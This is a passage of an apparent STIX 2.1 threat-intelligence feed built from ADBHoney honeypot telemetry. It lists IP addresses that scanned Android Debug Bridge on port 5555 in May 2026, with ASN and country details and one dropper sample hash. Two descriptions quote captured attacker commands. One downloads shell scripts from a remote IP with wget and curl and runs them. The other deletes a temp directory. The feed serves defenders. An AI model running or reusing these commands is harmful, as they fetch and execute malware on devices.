            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T21:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.20/w.sh; sh w.sh android.exploit; curl http://176.65.139.20/c.sh; sh c.sh android.exploit\"\n\nObserved in ADBHoney telemetry for 2026-05. events=42 | first_seen=2026-05-04T20:22:17.000Z | last_seen=2026-05-06T18:52:46.217Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--b3bd758b-a077-43da-92b0-924961c3d671",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:00:10.000Z",
      "valid_until": "2026-06-05T21:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 42,
          "first_seen": "2026-05-04T20:22:17.000Z",
          "last_seen": "2026-05-06T18:52:46.217Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T21:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ee35e97129adbf882d22489c5e1feff97ba3fa2f03d2fa397e08f648c1f6320b.raw; last_seen=2026-05-04T20:22:19.543Z",
      "id": "indicator--4aa3fa5e-94f7-4599-aa05-7e75dd9d6c67",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ee35e97129adbf882d22489c5e1feff97ba3fa2f03d2fa397e08f648c1f6320b']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-04T21:37:46.000Z | last_seen=2026-05-04T21:49:18.536Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--fc3345b3-0ffa-4556-8ff1-587470ef8dec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:00:02.000Z",
      "valid_until": "2026-06-05T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-04T21:37:46.000Z",
          "last_seen": "2026-05-04T21:49:18.536Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T23:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DK; asn=212238; asn_org=Datacamp Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-04T22:57:01.000Z | last_seen=2026-05-04T23:07:09.478Z | ports=5555 | cc=DK | asn=212238 | org=Datacamp Limited",
      "id": "indicator--97d3acc8-7594-450b-a7e8-dd729e1d90a6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '158.173.46.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:00:05.000Z",
      "valid_until": "2026-06-05T23:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-04T22:57:01.000Z",
          "last_seen": "2026-05-04T23:07:09.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DK"
          ],
          "asn": [
            "212238"
          ],
          "org": [
            "Datacamp Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T00:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-04T23:06:47.000Z | last_seen=2026-05-04T23:16:57.725Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--2fc731a5-b7c5-4dc3-9a18-24be42a868d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:00:10.000Z",
      "valid_until": "2026-06-06T00:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-04T23:06:47.000Z",
          "last_seen": "2026-05-04T23:16:57.725Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T00:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-04T23:03:11.000Z | last_seen=2026-05-04T23:04:18.329Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--db75d633-ecf4-40f4-82d4-9210760eabad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:00:10.000Z",
      "valid_until": "2026-06-06T00:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-04T23:03:11.000Z",
          "last_seen": "2026-05-04T23:04:18.329Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T00:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-04T23:06:47.000Z | last_seen=2026-05-04T23:17:05.679Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--0a161678-6046-4697-b322-8d513e293ef7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:00:10.000Z",
      "valid_until": "2026-06-06T00:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-04T23:06:47.000Z",
          "last_seen": "2026-05-04T23:17:05.679Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T03:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-05T02:14:21.000Z | last_seen=2026-05-05T02:15:27.813Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e4e1d136-1f09-4ccb-bf86-f14d07a82d87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.161.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:00:11.000Z",
      "valid_until": "2026-06-06T03:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-05T02:14:21.000Z",
          "last_seen": "2026-05-05T02:15:27.813Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T05:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=158; ports=5555; cc=FR; asn=16276; asn_org=OVH SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=310 | first_seen=2026-05-05T04:05:17.000Z | last_seen=2026-05-30T12:28:48.561Z | ports=5555 | cc=FR | asn=16276 | org=OVH SAS",
      "id": "indicator--39a45b45-38c2-4098-9098-ca15ab59db1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '51.68.207.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:00:11.000Z",
      "valid_until": "2026-06-06T05:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 310,
          "first_seen": "2026-05-05T04:05:17.000Z",
          "last_seen": "2026-05-30T12:28:48.561Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "16276"
          ],
          "org": [
            "OVH SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T05:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=RU; asn=8615; asn_org=Central Telegraph Public Joint-stock Company; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-05T04:00:20.000Z | last_seen=2026-05-05T04:01:32.806Z | ports=5555 | cc=RU | asn=8615 | org=Central Telegraph Public Joint-stock Company",
      "id": "indicator--38ca8d54-9e5b-41df-9697-b387da33efce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.164.42.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T05:00:11.000Z",
      "valid_until": "2026-06-06T05:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-05T04:00:20.000Z",
          "last_seen": "2026-05-05T04:01:32.806Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "8615"
          ],
          "org": [
            "Central Telegraph Public Joint-stock Company"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-05T05:22:48.000Z | last_seen=2026-05-05T05:32:57.694Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--b23a0f07-7d24-459f-97d9-4ac708df2983",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.213.151.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:00:13.000Z",
      "valid_until": "2026-06-06T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-05T05:22:48.000Z",
          "last_seen": "2026-05-05T05:32:57.694Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-05T05:19:03.000Z | last_seen=2026-05-05T05:29:20.748Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--08d430fd-0d1e-4038-afbf-30642403a119",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.183.195.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:00:13.000Z",
      "valid_until": "2026-06-06T06:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-05T05:19:03.000Z",
          "last_seen": "2026-05-05T05:29:20.748Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-05T06:37:13.000Z | last_seen=2026-05-23T07:24:34.617Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--899516e4-de68-4bed-b408-abc9408e82e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:00:10.000Z",
      "valid_until": "2026-06-06T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-05T06:37:13.000Z",
          "last_seen": "2026-05-23T07:24:34.617Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-05T06:19:52.000Z | last_seen=2026-05-05T06:30:01.658Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:00:10.000Z",
      "valid_until": "2026-06-06T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-05T06:19:52.000Z",
          "last_seen": "2026-05-05T06:30:01.658Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-05T06:19:10.000Z | last_seen=2026-05-05T06:20:13.400Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c6fc1362-0c58-4ec2-a4bc-531e6bf90127",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:00:10.000Z",
      "valid_until": "2026-06-06T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-05T06:19:10.000Z",
          "last_seen": "2026-05-05T06:20:13.400Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T09:00:17.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=25 | first_seen=2026-05-05T08:36:08.000Z | last_seen=2026-05-05T08:47:30.887Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--8b414dbd-7718-42a8-8264-9f9f3827c15a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:00:17.000Z",
      "valid_until": "2026-06-06T09:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 25,
          "first_seen": "2026-05-05T08:36:08.000Z",
          "last_seen": "2026-05-05T08:47:30.887Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-05T09:00:17.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=43; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-05. events=43 | first_seen=2026-05-05T08:02:12.000Z | last_seen=2026-05-05T08:15:12.019Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
      "id": "indicator--d9950236-a42d-4d75-85d2-718945a87d9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
